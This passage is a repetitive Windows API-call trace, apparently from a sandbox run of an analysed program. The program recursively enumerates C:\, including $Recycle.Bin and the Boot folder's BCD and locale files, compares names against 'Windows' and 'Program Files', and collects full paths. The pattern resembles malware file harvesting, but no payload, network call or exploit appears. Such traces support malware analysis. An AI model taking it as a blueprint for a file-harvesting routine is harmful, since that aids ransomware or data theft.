lpFindFileData=0x36ef5c) returned 1 [0041.504] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.504] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.504] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.504] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0041.504] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0041.504] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0041.504] lstrlenW (lpString="desktop.ini") returned 11 [0041.504] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0041.504] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned 74 [0041.504] lstrcpyW (in: lpString1=0x5f2928, lpString2="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0041.504] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.504] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.504] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0 [0041.504] FindClose (in: hFindFile=0x3b5cd8 | out: hFindFile=0x3b5cd8) returned 1 [0041.504] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.504] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0041.504] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0041.504] lstrcmpW (lpString1="Boot", lpString2="Windows") returned -1 [0041.504] lstrcmpW (lpString1="Boot", lpString2="Program Files") returned -1 [0041.504] lstrlenW (lpString="c:\\") returned 3 [0041.504] lstrlenW (lpString="Boot") returned 4 [0041.504] lstrcatW (in: lpString1="c:\\", lpString2="Boot" | out: lpString1="c:\\Boot") returned="c:\\Boot" [0041.504] lstrcatW (in: lpString1="c:\\Boot", lpString2="\\" | out: lpString1="c:\\Boot\\") returned="c:\\Boot\\" [0041.504] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.504] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="*" | out: lpString1="c:\\Boot\\*") returned="c:\\Boot\\*" [0041.504] FindFirstFileW (in: lpFileName="c:\\Boot\\*", lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0x3b5cd8 [0041.504] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.504] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.504] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.504] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.504] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.504] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0041.504] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0041.505] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.505] lstrlenW (lpString="BCD") returned 3 [0041.505] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0041.506] lstrlenW (lpString="c:\\Boot\\BCD") returned 11 [0041.506] lstrcpyW (in: lpString1=0x5f14d0, lpString2="c:\\Boot\\BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0041.506] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.506] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0041.506] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0041.506] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.506] lstrlenW (lpString="BCD.LOG") returned 7 [0041.506] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0041.506] lstrlenW (lpString="c:\\Boot\\BCD.LOG") returned 15 [0041.506] lstrcpyW (in: lpString1=0x5f14f0, lpString2="c:\\Boot\\BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0041.506] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.506] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0041.506] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0041.506] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.506] lstrlenW (lpString="BCD.LOG1") returned 8 [0041.506] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0041.506] lstrlenW (lpString="c:\\Boot\\BCD.LOG1") returned 16 [0041.506] lstrcpyW (in: lpString1=0x5f29c8, lpString2="c:\\Boot\\BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0041.506] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.506] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0041.506] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0041.506] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.506] lstrlenW (lpString="BCD.LOG2") returned 8 [0041.506] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0041.506] lstrlenW (lpString="c:\\Boot\\BCD.LOG2") returned 16 [0041.506] lstrcpyW (in: lpString1=0x5f29f8, lpString2="c:\\Boot\\BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0041.506] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.506] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0041.506] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0041.506] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.506] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0041.506] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0041.506] lstrlenW (lpString="c:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.506] lstrcpyW (in: lpString1=0x5f2a28, lpString2="c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0041.506] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.506] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0041.506] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0041.506] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.506] lstrlenW (lpString="cs-CZ") returned 5 [0041.507] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="cs-CZ" | out: lpString1="c:\\Boot\\cs-CZ") returned="c:\\Boot\\cs-CZ" [0041.507] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="c:\\Boot\\cs-CZ\\") returned="c:\\Boot\\cs-CZ\\" [0041.507] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0041.507] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="c:\\Boot\\cs-CZ\\*") returned="c:\\Boot\\cs-CZ\\*" [0041.507] FindFirstFileW (in: lpFileName="c:\\Boot\\cs-CZ\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.507] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.507] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.507] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.507] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.507] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.507] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.507] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.507] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0041.507] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.507] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0041.507] lstrlenW (lpString="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0041.507] lstrcpyW (in: lpString1=0x5f2a60, lpString2="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0041.507] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.507] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.507] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.507] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0041.507] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0041.507] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.507] lstrlenW (lpString="da-DK") returned 5 [0041.507] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="da-DK" | out: lpString1="c:\\Boot\\da-DK") returned="c:\\Boot\\da-DK" [0041.507] lstrcatW (in: lpString1="c:\\Boot\\da-DK", lpString2="\\" | out: lpString1="c:\\Boot\\da-DK\\") returned="c:\\Boot\\da-DK\\" [0041.507] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0041.507] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="c:\\Boot\\da-DK\\*") returned="c:\\Boot\\da-DK\\*" [0041.507] FindFirstFileW (in: lpFileName="c:\\Boot\\da-DK\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.508] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.508] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.508] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.508] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.508] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.508] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.508] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.508] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0041.508] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.508] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0041.508] lstrlenW (lpString="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0041.508] lstrcpyW (in: lpString1=0x5f2aa8, lpString2="c:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0041.508] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.508] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.508] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.508] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0041.508] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0041.508] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.508] lstrlenW (lpString="de-DE") returned 5 [0041.508] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="de-DE" | out: lpString1="c:\\Boot\\de-DE") returned="c:\\Boot\\de-DE" [0041.508] lstrcatW (in: lpString1="c:\\Boot\\de-DE", lpString2="\\" | out: lpString1="c:\\Boot\\de-DE\\") returned="c:\\Boot\\de-DE\\" [0041.508] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0041.508] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="c:\\Boot\\de-DE\\*") returned="c:\\Boot\\de-DE\\*" [0041.508] FindFirstFileW (in: lpFileName="c:\\Boot\\de-DE\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.508] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.508] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.508] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.508] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.508] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.508] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.508] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.508] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0041.508] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.508] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0041.508] lstrlenW (lpString="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0041.509] lstrcpyW (in: lpString1=0x5f2af0, lpString2="c:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0041.509] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.509] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.509] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.509] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0041.509] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0041.509] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.509] lstrlenW (lpString="el-GR") returned 5 [0041.509] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="el-GR" | out: lpString1="c:\\Boot\\el-GR") returned="c:\\Boot\\el-GR" [0041.509] lstrcatW (in: lpString1="c:\\Boot\\el-GR", lpString2="\\" | out: lpString1="c:\\Boot\\el-GR\\") returned="c:\\Boot\\el-GR\\" [0041.509] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0041.509] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="c:\\Boot\\el-GR\\*") returned="c:\\Boot\\el-GR\\*" [0041.509] FindFirstFileW (in: lpFileName="c:\\Boot\\el-GR\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.509] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.509] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.509] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.509] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.509] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0041.509] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.509] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0041.509] lstrlenW (lpString="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0041.509] lstrcpyW (in: lpString1=0x5f2b38, lpString2="c:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0041.509] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.509] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.509] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.509] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.509] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.509] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.509] lstrlenW (lpString="en-US") returned 5 [0041.509] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="en-US" | out: lpString1="c:\\Boot\\en-US") returned="c:\\Boot\\en-US" [0041.509] lstrcatW (in: lpString1="c:\\Boot\\en-US", lpString2="\\" | out: lpString1="c:\\Boot\\en-US\\") returned="c:\\Boot\\en-US\\" [0041.509] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0041.509] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="*" | out: lpString1="c:\\Boot\\en-US\\*") returned="c:\\Boot\\en-US\\*" [0041.509] FindFirstFileW (in: lpFileName="c:\\Boot\\en-US\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.510] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.510] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.510] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.510] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.510] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.510] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0041.510] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.510] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0041.510] lstrlenW (lpString="c:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0041.510] lstrcpyW (in: lpString1=0x5f2b80, lpString2="c:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0041.510] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.510] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0041.510] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0041.510] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0041.510] lstrlenW (lpString="memtest.exe.mui") returned 15 [0041.510] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0041.510] lstrlenW (lpString="c:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0041.510] lstrcpyW (in: lpString1=0x5f2bc8, lpString2="c:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0041.510] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.510] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.510] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.510] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0041.510] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0041.510] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.510] lstrlenW (lpString="es-ES") returned 5 [0041.510] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="es-ES" | out: lpString1="c:\\Boot\\es-ES") returned="c:\\Boot\\es-ES" [0041.510] lstrcatW (in: lpString1="c:\\Boot\\es-ES", lpString2="\\" | out: lpString1="c:\\Boot\\es-ES\\") returned="c:\\Boot\\es-ES\\" [0041.510] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0041.510] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="c:\\Boot\\es-ES\\*") returned="c:\\Boot\\es-ES\\*" [0041.510] FindFirstFileW (in: lpFileName="c:\\Boot\\es-ES\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.510] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.510] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.510] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.510] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.510] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.511] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0041.511] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.511] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0041.511] lstrlenW (lpString="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0041.511] lstrcpyW (in: lpString1=0x5f2c10, lpString2="c:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0041.511] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.511] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.511] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.511] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0041.511] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0041.511] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.511] lstrlenW (lpString="fi-FI") returned 5 [0041.511] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fi-FI" | out: lpString1="c:\\Boot\\fi-FI") returned="c:\\Boot\\fi-FI" [0041.511] lstrcatW (in: lpString1="c:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="c:\\Boot\\fi-FI\\") returned="c:\\Boot\\fi-FI\\" [0041.511] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0041.511] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="c:\\Boot\\fi-FI\\*") returned="c:\\Boot\\fi-FI\\*" [0041.511] FindFirstFileW (in: lpFileName="c:\\Boot\\fi-FI\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.511] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.511] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.511] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.511] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.511] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.511] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.511] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.511] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0041.511] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.511] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0041.511] lstrlenW (lpString="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0041.511] lstrcpyW (in: lpString1=0x5f2c58, lpString2="c:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0041.511] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.511] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.511] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.511] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0041.511] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0041.511] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.511] lstrlenW (lpString="Fonts") returned 5 [0041.511] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="Fonts" | out: lpString1="c:\\Boot\\Fonts") returned="c:\\Boot\\Fonts" [0041.511] lstrcatW (in: lpString1="c:\\Boot\\Fonts", lpString2="\\" | out: lpString1="c:\\Boot\\Fonts\\") returned="c:\\Boot\\Fonts\\" [0041.512] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0041.512] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="c:\\Boot\\Fonts\\*") returned="c:\\Boot\\Fonts\\*" [0041.512] FindFirstFileW (in: lpFileName="c:\\Boot\\Fonts\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.512] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.512] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.512] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.512] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.512] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.512] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0041.512] lstrcmpW 